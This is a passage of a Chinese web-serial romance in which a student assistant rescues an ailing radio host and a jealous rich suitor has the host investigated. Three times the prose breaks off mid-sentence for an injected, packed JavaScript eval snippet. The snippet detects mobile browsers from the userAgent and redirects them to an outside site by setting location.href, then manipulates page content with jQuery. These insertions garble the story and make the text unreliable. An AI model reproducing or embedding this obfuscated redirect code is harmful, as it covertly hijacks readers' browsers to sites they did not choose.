其实就算自己来看她,也不知道该和他说些什么。说她最近在学校的学习状况吗?他好像也不是很关心。说她最近的身体状况吗?那他就更不在乎了。 “我最近找了一份很好的工作。”齐慕声精挑细选了一个,他可能比较感兴趣的话题。 一提到工作,齐江果然提起了兴趣,喋喋不休地问了她许多问题,不过最后都回到了工资上。 “这可比你之前做家教挣得多啊,你也长大了,也该孝敬父母了。”齐江看起来对她的工作很满意,整个人看起来精神抖擞,一扫刚刚的萎靡之态。 齐慕声将话题拉回正轨,“你能别花邱铭的钱了吗?我可以帮你出医药费。” “邱铭是外人吗?那是你未来的丈夫,让他花点钱表示一下怎么了?再说了,就你那点工资,攒多久能付的起医药费?爸爸这是为了你好。” 齐慕声站起来,看着他,泪水在眼眶里打转,“你口口声声为了我好,说话做事却从来不会为我考虑,我再说一次,我不喜欢邱铭,我和他也只是朋友关系,别真把他当你未来女婿了,他的钱,该还还是要还的。” 齐江听了她的话,有些恨铁不成钢,苦口婆心地劝说:“慕声你糊涂啊,爸爸做梦都盼着你俩能结婚,邱铭这孩子,要长相有长相,要能力有能力,要家庭有家庭,你嫁给了他,下半辈子,爹就再也不用去工地打工了。” 齐慕声将眼泪咽了回去,冷眼看着躺在床上的齐江,“说到底,你不还是为了你自己吗?我为什么要为了你的晚年,牺牲我下半生的幸福啊,你真的了解邱铭和他的家庭吗?我说了,爸爸,这次的医药费我会出,因为我还是你的女儿。但是我的感情问题,我希望你不要再干涉了。” 这才是她的父亲,一个喜欢打着为她好自私虚伪唯利是图的男人。 她没给他往下反驳的机会,就匆匆走出了病房。 也不知是医院里的消毒水味太重,还是他父亲的话太令她窒息,她感到一阵头晕。 眼看着还有几步就要走出了医院,她脚下一滑,差点摔了过去,还好路过的护士眼疾手快,将她扶到了大厅的椅子上。 “请问,您需要挂号检查一下自己的身体吗?” 说话的是一个看起来和她年纪相仿的护士,说话声音很甜,戴着口罩眉眼弯弯,有着和这死气沉沉的医院完全不相符的气质。 “不用啦,谢谢你,我坐这里休息一下就好了。”齐慕声笑着拒绝她。 那护士倒也没勉强她,直接笑着推车走了。 她刚从长椅上站起来,就看见了一个熟悉的背影,手里拿着病例单,和护士一起上了楼。 是纪松臣。 榆衡市这几天气温忽高忽低,温差大,应该是感冒了吧,她猜想。不过她也没有打算去追问,就默默地看着他的身影消失在她的视线范围内。 一来纪松臣不喜欢别人过问他的事,二来齐江的事已经让她心力交瘁,无暇顾及其他。 她没有急着回学校,而是去了一趟银行。 看着自己卡里那点微薄的积蓄,有些惆怅。 邱铭给她发了一条短信:“声声,想好了吗?” 她将短信删掉,不做回复,将卡里仅剩的一千一百块钱提了八百出来,打算明天去交一笔住院费。 她今天晚上去上班的时候,想问问纪松臣可不可以提前透支工资。 但到了晚上快十点的时候,纪松臣还迟迟没出现在播音室里。她想起白天在医院看见的身影,心下有些担忧。她拨下了纪松臣的私人电话号,响了三十秒的铃声,无人接听。 离十点还有三分钟。 她跑出去问了问其他播音室里的主持人,都说今天还没见到他,也不知道他是不是跟领导请假了。 一直到了十点,纪松臣还没来,电话也始终出于无人接听的状态。 韩佑今天在电台加班,知道纪松臣这个时间段还没来上班,推门进来,跟齐慕声说:“我先替他主持,他家好像住星河公寓四号楼三单元601,离电台也不远,你去看看他吧,别再出什么事了。” “好。”齐慕声见有人接手,连忙收拾东西,打算打个车过去。 “喂,”她刚要出门,韩佑又把她叫了回来,“千万记得跟纪松臣说,今夜是兄弟救的场,这样他就欠我一个人情了。” “好。”齐慕声郑重地点了点头。 齐慕声在电台外面打到了车,司机出发之前,先将车载电台打开了,一脸奇怪,“今天的主持人的声音怎么变了?” 齐慕声解释: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603220|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “原来的主持人请假了,这个是替班的。” “原来是这样啊,”司机一脚油门,将车开出几十米,听了十几秒,后知后觉又说了一句:“还是之前那个主持人声音好听,我和我老婆每天都听。” 齐慕声听得出来,韩佑的声音条件也相当优越,但是属于非主流伤感文艺青年风,更适合年轻单身的女孩听,这样受众就少了很多,所以他在台里的收听率一直处于中流水平。 这个中年司机听了两分钟,就默默地把广播关上了。 大约五分钟的车程,齐慕声就到了星河公寓楼下。她没有门卡,只能趁着门口的保安不注意跟着住户一起混了进来,又问了几个人才找到四号楼在哪。 到了纪松臣家门口,齐慕声先小心翼翼地敲了几下门,见无人应答。 她在门口播了号码,还是没人接听的状态。 她向后走了几步,深吸一口气,迅速往前跑去,用肩膀将门撞开了。 门开了。 她按了按肩膀,上面传来火辣辣的痛感。屋里是关着灯的,怎么也不像有人的样子。 “Cephas?”她朝屋里叫了一声。 她在最里面的一间卧室,找到了纪松臣。 屋里的灯也没开,黑黢黢的一片,她听见了他沉重的呼吸声。 她的手在墙壁上不断摸索着,终于找到了灯的位置。 她将灯打开,发现纪松臣不是躺在床上,而是坐在地上,将脸埋在了膝下。 “Cephas?”齐慕声走到他身边,蹲下来,轻轻唤了他一声。 纪松臣像是听见了什么召唤,轻轻抬起了头。 齐慕声被他惨白的脸吓到了,那张脸没有一丝一毫的血色,白的像是西式恐怖片里的吸血鬼。 他嘴唇微动,好像在说什么。 饶是离得这么近,齐慕声也听不清。她又靠近了一些,感受他炽热的呼吸从她耳边流过。 “好痛。”纪松臣的手始终抵着胃部,脸上的汗从始至终就没断过。 齐慕声拨打了120,又迅速将他扶到了床上。 纪松臣看起来很瘦,但只是因为高,实际上还是有一些重量的,齐慕声险些和他一起摔了下去。 她在洗手间里找了个干毛巾,又接了盆热水,将毛巾放到热水里反复拧了两遍,直到温度正好才拿进去。 “别乱动。”齐慕声用湿毛巾将纪松臣脸上和脖子上的汗擦干,“你自己有没有胃药?” 纪松臣捂着胃的那只手,止不住颤抖,他的声音也不似往日在电台那般充满张力,而是每说一个字都要耗费不少力气,“客厅的柜子里有止痛药,麻烦帮我找一下,谢谢。” 齐慕声将客厅的灯打开,在电视剧下的柜子里翻了半天,找到了两盒药,一盒上面写着奥美拉唑,另一盒是进口药,上面的文字不是英文,倒像是德文。 不过她来不及想那么多了,先按照说明书将奥美拉唑从盒子里拿出两片,又在饮水机里倒了杯水。 她将药喂到纪松臣的嘴里,又让他喝了口温水将药咽了下去。纪松臣疯狂咳起来,险些将刚吃的药吐了出去。齐慕声轻轻拍着他的后背,才慢慢缓和过来。 纪松臣现在的状况,比她刚进来的时候还要糟糕。 刚才的他至少还能说话,现在只能靠在枕头上,眼神空洞地看着前方。齐慕声反复帮他擦着脸上的汗,他突然用力将齐慕声拉到与他更近的地方。他将齐慕声的手放在他胃上,用眼神恳求她帮一下自己。 齐慕声隔着一层衣服,都能清晰地感受到胃里传来的抽动。 她将掌心抵在纪松臣的胃上,顺时针帮他按了按。 纪松臣感觉舒服了不少,眼神也渐渐恢复了生气。 等了约莫十分钟,救护车终于到了小区楼下。 8. 放手 护士帮纪松臣注射了一针止疼药,纪松臣晕了过去。 齐慕声和他们一起上了救护车,听见救护车上传来嗡嗡的警报声,她的心也在砰砰直跳个不停。 到了第一人民医院,齐慕声在走廊里等着,给室友打了电话,如果有老师来查寝,就说她在医院里。 从纪松臣上了救护车一直到现在,已经过去了一个小时,她始终无法静下心来。这个时间的医院很安静,安静地她心慌。 “请问您是病人的女朋友吗?”护士走出来问。 还没等她回答,就将病例单塞到她手里,让她签字。 齐慕声直接在家属那一栏里签上了字,把病例单递过去的时候,问了句:“他怎么样?” 护士只说了两个字,“没事。” 等了差不多两个小时,那个护士又走了出来,满头大汗,看着齐慕声说道:“病人已经脱离了生命危险,但是需要休息一段时间,他的胃病已经很严重了,尽量减少工作,不能熬夜,来这边跟我办理住院手续吧。” 此时已过了十二点,前台只剩下一个值班的护士,困得直打瞌睡,见来了人,迷迷糊糊地在电脑上操作了住院手续。 齐慕声问前台的护士借了纸笔,留了字条,放在纪松臣的床边的柜子上。她怕纸条被风吹走,拿柜子上摆的廉价花瓶压住了。 纪松臣安安静静地躺在病床上,眼睛没睁开,手指倒是动了动,像是在表示自己已经知道了。 纪松臣一夜醒了三次,每次都是被同一个噩梦吓醒的。 不过梦里和现实唯一不同的是,梦里的她回头看了他一眼,不是相爱时的那般明媚娇艳,而是青面獠牙,如同厉鬼般地咬了上来。也是因为如此,他才觉得这是个彻头彻尾的噩梦。 每次梦醒,他都想翻身下床,去找那盒治疗梦魇的药。 刚下床的第一次,他就想到了,这是医院,不是家里,他甚至不记得刚刚发生了什么,也不记得自己是怎么来的,又默默地躺回到病床上。 他屏了一口气,胃里隐隐作痛,他嘴上不断数着羊,想在天亮之前再睡一觉。 到了第三次被惊醒的时候,他彻底不敢睡了,天微微有些发亮,他看见了被压在花瓶下的纸条,上面写着:“明天中午来看你。” 他想将那张纸条安放好,找了一圈,发现自己根本没带钱包,又无奈地将那张撕扯并不整齐的纸条放到了花瓶下。 他在床上默默坐了两个小时,看着太阳一点点升起。 其实一年来的每一个夜晚,几乎都是这么过来的。第一次彻夜难眠的时候,他也是一个人坐在窗户前,看月亮一点一点被吞噬,被太阳替代。 护士敲门进来,和他说了一些注意事项,并且帮他打了一针,让他少乱动。 针刺进皮肤里,他已经感觉不到痛了。 “两小时后,我再来换药。” 齐慕声拎着饭盒进来了,她在医院附近的饭店里买了一些清淡的菜,还有一碗粥,一起打包带了上来。 “昨天的事,多谢你了。”纪松臣率先开口。 齐慕声却面露难色,似乎想说什么又难以启齿。 “你也算是我的救命恩人了,想说什么就直说,我还能吃了你不成?” 其实在她上来之前,她先去看了齐江。她打120的时候倒也没想这么多,阴差阳错,两人被分到了同一家医院里。 齐江的伤势很稳定,护士帮他换药的时候,恰好她在这里,又催她缴费。 见纪松臣这么说,她便把真实的请求一股脑说了出来,“我们电台可以提前透支工资吗?” 纪松臣皱了皱眉,仔细思考了一下她说得这件事,略带迟疑地开口:“好像不行......” 齐慕声有些失望,低声说:“那好吧。” “我可以帮你打电话问问领导和财务部。”纪松臣不忍见她失望的神情,又说道:“如果你现在缺钱,也可以先用我的,不急着还,你知道我家的地址吧,我家门前的鞋柜最底层,下面放了把备用钥匙,我的钱包在客厅衣架上,里面有一张建行卡。” 他示意齐慕声靠近一点,“过来。” 他伏在她耳边,将自己的银行卡密码告诉了她。 “这么相信我?不怕我把你里面的钱全花了?” 纪松臣看着她的眼睛,那般清澈明亮,轻声说:“我不怕,不过我要麻烦你了,先去我家里将我的银行卡和电话拿来,我要先缴一笔医疗费和住院费,还有——” 纪松臣顿了一下,“客厅电视柜里,有几瓶药,一起拿过来。” 齐慕声想起了在客厅里发现的那几瓶西洋药,点了点头,“我知道了。” 她刚出病房,迎面撞上了邱铭。 邱铭一身休闲的蓝衬衣,胸前别了枚玫瑰胸针,耳朵上挂着上个月花三万块买的耳机,嘴里哼着歌,看起来心情很是不错。 齐慕声只想当作没看见他,低着头从他身边走过。 邱铭伸出一只手,拦住了她的去路。 “呦,这么巧?来看叔叔的吗?” 齐江和纪松臣的病房就在同一层楼,齐慕声怕他找纪松臣的麻烦,就承认了下来。 “可我怎么记得叔叔不是这间病房呢?”邱铭靠近了一步,微微低下头,盯着她的眼睛看。 齐慕声想起了那天晚上他对自己说过的话,目光闪避,下意识地往旁边退了一步。 她越是躲避,邱铭越觉得事情并没那么简单。 他不再拦着她,而是打算进她刚出来的那间病房里,“问候”一下里面的病人。 他还没到门口,就被齐慕声抓住了手腕。 手很凉,在发抖。 邱铭笑了,安抚她:“声声,我有这么可怕吗?你亲口告诉我,里面是谁啊?” 他越是笑,齐慕声心里就越慌乱。 “是我,有什么事吗?” 还没等齐慕声说话,纪松臣就推门出来了,一身宽松的病号服,面色苍白,手背青筋暴起,血管附近残存了一些血迹,整个人看起来病殃殃的,下一秒就要摔在地上。 “到我这边来。”纪松臣看了看邱铭,转头对齐慕声说。 “你不准过去。”邱铭死死地抓住了她的手,不让她往那边靠近一步。 果然又是这个人,不过也难怪齐慕声着迷,就连生病时的憔悴都遮不住这张完美的脸散发出来的魅力。 “邱铭,你放开我。”齐慕声推了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603221|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱铭一把,想从他手里挣脱出来,她越是挣扎,邱铭反而抓的越紧。 纪松臣走过来,站到她的旁边,盯着他抓着齐慕声的那只手。 “放手。” 邱铭冷笑了两声,“你让我放手,我就放手?把自己当成谁了啊?” 下一秒,邱铭右脸就挨了纪松臣一拳,瞬间肿了起来,嘴角不停往外渗血。 “你没事吧?”纪松臣抬起了齐慕声的手腕,上面被勒出了一道猩红的印记。 齐慕声将手抽回来,摇了摇头。 “你他妈疯了是吧?” 邱铭起身,擦了擦嘴角的血,势必要把挨这一拳还给纪松臣。 那一拳还没到纪松臣脸上,就被齐慕声挡住了。 “邱铭,你别闹了,回去吧。” 邱铭摸了摸自己的右脸,不可置信地说:“我在闹?我来帮你照顾叔叔,你说我在无理取闹?” 齐慕声回头,看了一眼301的方向,和纪松臣住的305离的很近。 “她的事,我自会帮她解决,不需要你打着对她好的名义道德绑架她,强迫她。”纪松臣大概想明白是怎么一回事了,难怪齐慕声问自己电台能不能提前预支工资。 “好大的口气啊。”邱铭上下打量了他一眼,见他一身病气的样子,满脸不屑,“先看看自己卡里那点钱够不够交住院费吧。” 纪松臣还是如刚刚一样保持礼貌,扶了扶眼镜,“不劳您操心,慢走不送。” 说罢,转身带着齐慕声回到了刚刚那间病房。 纪松臣试探着问:“他这样对你,多久了?” “其实他之前不这样,我也不知道他现在为什么会变成这样,他想让我什么事都听他的,想控制我,可是我不喜欢。” “你要是急着用钱,不用不好意思开口,我那张银行卡里的钱,应该能解一时之需。” 护士进来了,见纪松臣头顶的瓶子里还有半瓶药,针就不在自己手上了。 “这针不能乱拔,会出事的。”护士连忙拿着酒精和棉签去清理他的血管。 短短几分钟,手背上肿起了一片,针扎的血管处不断往外渗血。 齐慕声吓了一跳,一想到他是听见了自己和邱铭在屋外的争执才将针头拔下来的,有些愧疚。 护士抓着他的手,用消过毒的棉签在他手背血管上擦拭了一圈。 手背上传来冰凉的触感,如被刀割了一般疼痛,头始终歪向齐慕声站的那边。 齐慕声抽了张纸,帮他把脸上的汗轻轻擦去。 清理完伤口,护士将针扎在另一边手上,临走时不忘警告他不准乱拔了。 “很痛吧?”齐慕声低头看着他手上的针,想到了自己小的时候自己发烧了母亲带她去楼下的诊所打针的时候,针扎进血管里,痛得她眼泪直流,从那次之后,她就很少去打针。 “还好,习惯了。” 纪松臣勉强挤出了一个笑容,他这种从大学时期开始隔两个月就要来一次医院的人,自然知道这种针是拔不得,会导致药液回流,但他在床上听见邱铭的声音,没办法坐视不理。 齐慕声打算回去了,刚到门口,就听见纪松臣说:“你明天还会来看我吗?” 9. 礼物 医院楼下,邱铭坐在自己的宾利里,并没有急着走。他拨通一串号码,将电话放到耳边。 “喂,邱少,您怎么想起给我打电话了?”电话那边传来一个微醺的男声,周围伴随着混杂的交响乐,还有酒杯碰撞的声音。 邱铭嫌电话里的声音刺耳,将它拿的远了一些,“少废话,沈驰,帮我查一个人。” “邱少开口了,我立马给你办,说吧,想让小弟帮您查什么人啊?我倒想知道,什么人这么有来头,值得邱少把他放在心上。” 沈驰在酒吧里和七个身材火辣的美女玩的正尽兴,就听到电话铃声嗡嗡响个不停,刚在嘴边骂了句脏话,一打开看见上面的“公子爷”三字,瞬间萎了下去。 他推开怀里的美女,来了个相对安静些的地方,等这位公子爷的指示。 “他叫纪松臣,应该是个挺出名的电台主持人,戴个玫瑰金半框眼镜,长得有几分姿色,我就能说这么多,剩下的,交给你了。”邱铭将钥匙拧了两圈,轻踩油门,开出了医院。 沈驰喝了酒,脑子一时不太清醒,但还是将邱铭的话听得清清楚楚,“纪松臣?我知道这个人,我妈妈天天在家听他直播,昨天没听见,我妈还想打电话投诉电台呢。” 沈驰自顾自地往下说:“不过话说,他一个电台主持人,你们俩八竿子打不着啊,又怎么得罪我们邱大少爷了?” “不该问的话别问,下午三点前给我,能做到吗?” 沈驰看了一眼腕表,现在已经快两点四十了,心想大少爷可够会为难人的,但嘴上还是一口咬定:“当然能了,我查完给您送学校去?” 邱铭想了一下,“学校附近有个时光咖啡厅,送这里来吧。” 沈驰立马把酒杯放下,穿上外套准备走。 一直在他怀里的女人突然拉住他,一双狐狸眼含情脉脉地看他,“沈少,今天怎么走这么快?不多陪陪我们吗?” 沈驰在那漂亮女孩的额头上亲了一口,又从钱包里拿出一把人民币,“乖,是我不好,我还有事,先失陪了,这些钱留给姐姐们买礼物。” “你真好。”那女孩在她脸上亲了一口,便放他走了,随即和另外六个女孩讨论这笔钱该怎么花。 沈驰笑了一下,放心地离开酒吧了。 那个狐狸眼的女孩叫妍妍,整个酒吧最漂亮最性感的陪酒女孩,只有沈驰这种消费到黑金级的用户才有资格邀请她喝酒跳舞。 该死的邱铭,坏他的美梦。 三点,邱铭在时光咖啡厅里订了个包间,闭目养神。 沈驰一路紧赶慢赶,终于找到了他说得这家咖啡厅,还险些迟到了一分钟,累的满头大汗。他刚从酒吧出来,就一路跑到公司,脸上还残存着妍妍留下的口红印。 “这么狼狈,可不是沈公子的作风啊。”邱铭抬眼,就看见沈驰手里拿着一个文件夹,气喘吁吁的,他摇了摇桌上的铃,将这里的服务员叫了上来。 “您好,有什么吩咐?”服务员恭敬地站在一边问道。 “两杯手磨拿铁,一杯三分糖,一杯不加糖。” 沈驰过了两分钟才缓过来,将文件递给邱铭。 邱铭接过了文件,扫了一眼,直接将文件合上,扔到了一边,“字这么多,懒得看,直接说关键的给我听,你知道我关心什么。” 服务员将两杯咖啡端了上来,邱铭示意她将不加糖的那杯放到沈驰面前。 “喝口咖啡,醒醒酒,慢慢说。” 沈驰喝了一口无糖拿铁,就默默地放到一边去,清了清嗓子,说:“你让我查的这个纪松臣,我刚刚查了一下,他不是本地人,家住慈阳市,一年前来的榆衡,还是个学艺术的,慈阳大学的高材生。” “你能不能说重点?”邱铭喝了一口咖啡,显然没耐心听他说这些废话。 “他谈过一次恋爱。他这个人家庭倒是挺普通的,家里只有他妈妈一个人,开服装店的,但他前女友倒是大有来头。” 沈驰卖了个关子,没一口气说完,邱铭没耐心和他耗了,直接从随身背着的包里拿出两万块,为信息付费。 “邱少爽快人。他这前女友,就是倪氏集团的千金小姐,倪南。” 邱铭顿时困意全无,“竟然是她?” 他与倪南有过一面之缘,是在一年前的家族聚会上。倪氏集团和邱氏集团作为榆衡市两大顶尖集团,一直有一些生意往来,渐渐地,邱铭母亲萌生出了联姻的想法,把两个家族的人聚集到一张饭桌上,让他们二人认识一下。 倪南比他大了整整三岁,他记得倪南那天把他叫到外面,点了根烟,对他说:“喂,小子,我知道你很想跑路,我也想,一起跑吧,姐姐对你没兴趣。” 两人相约着离开了这场饭局。 没过多久,邱铭就从母亲那知道了她恋爱了的消息。自那人之后,二人再没见过。 “喂,我还知道一些关于倪南的事,你想不想听?” 邱铭有些好奇,看他那欲言又止的样子,就知道他在犹豫什么。 “今天没带那么多现金,我回头打你账上。” “好嘞。”沈驰压低了声音,“倪大小姐,和纪松臣谈恋爱的时候,做的事可不太体面......” 纪松臣只住了三天医院,就办理了出院手续,打算回电台继续上班了。齐慕声今天来看他,帮他从家里带了件平日里穿的衣服。 是一件白格子衬衫,纪松臣换好衣服,齐慕声才敢进来。一进来便发现,他衬衫最顶上的扣子没扣,将整个锁骨漏了出来。 纪松臣很瘦,锁骨的线条更是流畅,齐慕声一时入了迷,纪松臣走到她面前她才反应过来。 “看什么呢,这么专注?” 纪松臣半弯腰站在她面前,呼吸缠绕在她耳边,漂亮的锁骨离她更近,她红着脸别过头去,不敢再看。 她越是不敢看,纪松臣就离她越近。 齐慕声不敢再看下去,直接抬手,帮他把衣扣系好了。 “今天有课吗?”纪松臣问了一句毫不相干的话。 “没有,今天放假。” “陪我去商场买点东西吧。” 纪松臣来医院,是直接被救护车送来的,车还在小区楼下,他嫌太远,就打了个车带着齐慕声到了时尚大厦。 这是榆衡市最大的一家商场,被榆衡人民戏称有钱人的天堂。 齐慕声知道这家商场,但从来不敢往里面多看一眼。 “我们真的要来这里买东西吗?”刚到一楼,齐慕声就拉住了他。 “我看起来,像是很穷的人吗?”纪松臣有些疑惑,问她。 纪松臣把信用卡借给齐慕声后,齐慕声把他和他父亲的医疗费和住院费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603222|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交了,现在卡里的钱已经所剩无几了。 纪松臣看着她犹豫不决的样子,知道她在顾虑什么,低头贴在她耳边说:“放心吧,我还有一张卡,不会让你难堪的。” 整个商场里的光是偏暖黄色调的,打在人身上非常柔和。商场里面富丽堂皇,各种高奢品牌挨在一起,等待能欣赏它们的人来将它们收入囊中。 纪松臣带齐慕声来到了一家首饰店,齐慕声还当他要买什么首饰,毕竟他平日里也有戴项链的习惯,她打算自己在外面的橱窗里看看,毕竟看看又不需要花钱。 她将橱窗里的饰品仔细观赏了一番,被一个挂在最边上的项链吸引了目光。 这项链本身倒没什么特别的,特别的是项链的挂坠,是一扇乳白色的贝壳,里面含着一颗闪闪发亮的蓝色宝石。 “小姐,您真有眼光,这款项链是我们的最新品,名字是海洋的声音,中间是一颗斯里兰卡蓝宝石,这是我们设计师根据爱琴海的颜色设计的,需要我帮你取出来试戴一下吗?” “不,不用了。”齐慕声这才舍得将目光从那颗斯里兰卡蓝宝石上移开。 她从来没遇见过这么让她心动的项链,但她知道,能进这家店的,不会低于五位数。 “取出来吧。”纪松臣看了一眼那条项链,对工作人员说道。 她戴上手套,将那条项链小心翼翼地从橱窗里拿出来。 她将项链取出的那一刻,齐慕声觉得自己的呼吸都要停止了。 试戴一下,也是无妨的吧。 纪松臣接过项链,虔诚地为她戴好。 靠得太近,他能清晰地感受到齐慕声正在加速的心跳。 戴好了之后,纪松臣先自己欣赏了一番,才叫她睁开眼睛。 齐慕声脖颈修长,肤色又白,戴这项链最合适不过了。要是齐慕声戴这项链在这家店当一天人体模特,这条项链就不用在橱窗里摆这么久都无人问津了。 齐慕声站在镜子前,伸出手触碰了一下那颗蓝宝石,实在太过耀眼。 “多少钱?”纪松臣问工作人员。 “一共是五万八,请问您是现金还是刷卡?” “你要干嘛?”齐慕声不解地问。 纪松臣没急着解释,而是直接拿出了一张卡,交给工作人员。 齐慕声连忙要将那条项链摘下来,若是这条项链是他买给自己的,她也应当物归原主。 纪松臣握住了她想摘项链的那只手,“不要摘,我送给你。” 那她更不能接受这样贵重的礼物了。 她拒绝:“我不要。” 纪松臣握着她的手,不让她摘下来,“这些钱对我来说真的不算什么,你救了我一命,就当我用五万块钱买了我这一条命好不好?” 谁的命只值五万块,但对于齐慕声自己而已,远远谈不上什么救命之恩,只是恰好帮了他一次。 “就是啊,小姐,这条项链,简直是为您量身定制的,除了你,别人再也戴不出这么完美的效果。” 纪松臣一脸诚恳地说:“这颗宝石遇见了她的主人,所以,请接受它吧。” 纪松臣放下手来,齐慕声将那扇贝壳捧在手里,欣赏了片刻,又透过半框眼镜看了看纪松臣的眼睛。 她这才明白自己为什么会被这颗蓝宝石吸引了目光,原来是像他的眼睛。 10. 软糖 晚上,酒吧里。 邱铭身边围坐着一群奇装异服的少年,个个举着高脚杯,里面装着五光十色的酒。觥筹交错之间,喝得半醉的邱铭听见身边有人问:“邱少,需要我们动手吗?” 邱铭将酒杯里的酒一饮而尽,随后将杯子摔到了一边。杯子碎的那一刻,众人皆噤声不敢多言。 邱铭一晚上喝了太多的酒,声音有些颤抖:“不需要,我倒要看看这小子到底有什么本事,能把声声迷城这样。” 身旁一个嘻嘻哈哈的黄毛男生一边喝酒一边说:“还能是什么本事?长相呗,那小子虽说穷了点,但长得是真帅,连我一个大男人看了都心动。” 此言一出,吓得坐在一旁的沈驰连忙用胳膊肘了他一下,找补道:“邱少不帅吗?要我说,论颜值论声音论家境,邱少哪方面不碾压他?” 那个黄毛小子显然是喝得上头,毕竟是第一次喝三千块一杯的西洋酒,反正邱铭买单,贪喝了几杯,脑子跟着糊涂起来,又说了句不知天高地厚的话:“对,一定是齐慕声那女人瞎了眼。” 沈驰默默在心里替这哥们儿捏了把汗。 邱铭直接将面前的酒桌掀翻了,杯子碎了一地,几千块的酒刹那间化为泡影。全酒吧人都沉默了,连正在演奏狂想曲的乐队也停下了,一致地把目光投向他们这一桌。 邱铭用仅剩的理智,揪住那人的衣领,对着他的脸狠狠来了一拳。 比纪松臣打他那一拳还要狠上十分。 他还不满意,又打了他几拳。 黄毛小子被打的连仅剩的清醒都没了,连求救声都没来得及发,彻底晕死了过去。 沈驰见状,喝退周围看热闹的人,看邱铭气也出了,就把他扶到座位上。 “你们两个,快把这哥们抬出去,别让他脏了邱少的眼。”沈驰冲他们俩使了个眼色,让他们俩别真把这人弄出个好歹来。 邱铭气顺了不少,拦着沈驰的肩,“好兄弟,还是你最懂我,你跟着我干,我邱铭绝对不会亏待你。” 他无比庆幸自己今晚没怎么敢喝酒。 * 齐慕声今天早早就到了电台,帮他把等下要播的文稿整理好。 “怎么没戴我送你的那条项链?”纪松臣一进来便注意到那条项链不在她脖颈间了,明明回去的时候,她还一直戴着。 齐慕声想起自己到宿舍的时候,就把那条项链放进了盒子里,妥善收藏了起来。 “太贵重了,不舍得戴。” 纪松臣调试了一下设备,对她说:“那你就舍得让那么漂亮的项链蒙了灰尘?” 直播开始,熟悉的声音又在各地的收音机里响起。 “各位听众朋友大家好,我是主持人纪松臣,我们好久不见。” 其实他只有四天没上班,但对于榆衡市喜欢听他广播的人来说是一场漫长的等待。 纪松臣看了一眼齐慕声的方向,将文稿合上,对着麦克风说:“今天收到了很多观众来信,大家都很关心我这几天在做什么?以后是不是不会跟大家在见面了?我在这里跟大家保证,未来五年里,我都不会从电台离开,很感谢大家一直以来的支持与陪伴,当然,这几天我要特别感谢一个人。” 齐慕声一直聚精会神地听着,听见他说有一个特别感谢的人,也不由得期待了起来。 “这个人就是我的助理,感谢她将我从死神手里救了出来,要不是她,我现在应该在天堂做广播了。” 齐慕声没由来地心跳加速,嘴角微微上扬。 纪松臣的胃病还没好,工作一个小时之后,胃开始时不时的痛一下。 齐慕声注意到他始终用手捂着胃部,便拿着杯子,去电台的饮水机处帮他倒了杯温水。她提前将医生开的药拿了一部分放在电台,以备不时之需。 纪松臣越说到后面,声音越虚弱,不少听众知道了他身体不适,允许他提前二十分钟下班了。 纪松臣抓起齐慕声分好的药,就着温水,咽了下去。 他一阵作呕,这药比他之前吃的还要苦上几分。 齐慕声悄悄往他嘴里塞了颗草莓软糖,她来的时候在超市买的。 纪松臣嚼着那颗软糖,皱着的眉头终于舒缓下来。 软糖很甜,冲淡了喉咙里的苦涩。 “谢谢,还有吗?” 齐慕声又往他嘴里塞了一颗。 他缓缓抬起头,看着面前的齐慕声,干干净净的,就像一颗水润多汁的草莓。 “你,有没有考虑过......” 齐慕声被这半截问题问懵了,“考虑过什么?” 纪松臣想打自己一拳,自己怎么能这么草率,一定是被两颗草莓软糖迷惑了心智。 他尴尬地笑笑:“没什么,我送你回宿舍。” 齐慕声在床上想了一晚上,他没问出口的问题到底是什么?难道他想问的是,自己有没有考虑过毕业后也来电台上班?这是唯一一个靠谱的可能了。 她睡得太晚,早上九点钟的时候,被一个电话吵醒了。 “喂,您好,是齐慕声女士吗?” 齐慕声半睡半醒地应和了一声,险些又睡过去,就听见电话那边说:“您父亲昨天不知道为什么,从301病房跑了出去,下楼梯的时候摔了一跤,腿骨断裂,需要做手术,这边需要一笔手术费,您看您是?” 齐慕声困意全无,叹了口气,“需要多少钱?” “一共是三万五千块。” 齐慕声挂断了电话,心里一阵烦闷。 她明明已经交了一笔住院费和医疗费了,为什么还要从医院里跑出去来给她惹麻烦? 她还要去哪里凑三万五出来? 她不可能再去花纪松臣的钱了。 她正打算去医院看看,刚下楼,就在不远处看见了一头亮眼的蓝毛。 邱铭拦住了她的去路,把她拉到了一边。 齐慕声无力反驳,就任由着他带自己走到了一个人少的角落。 她坐在长椅上,邱铭坐在她身边,两个人已经好像很久没有正常地交流过了。 “脸上的伤还疼吗?”齐慕声瞥见了他脸上的淤青,是那天纪松臣打的 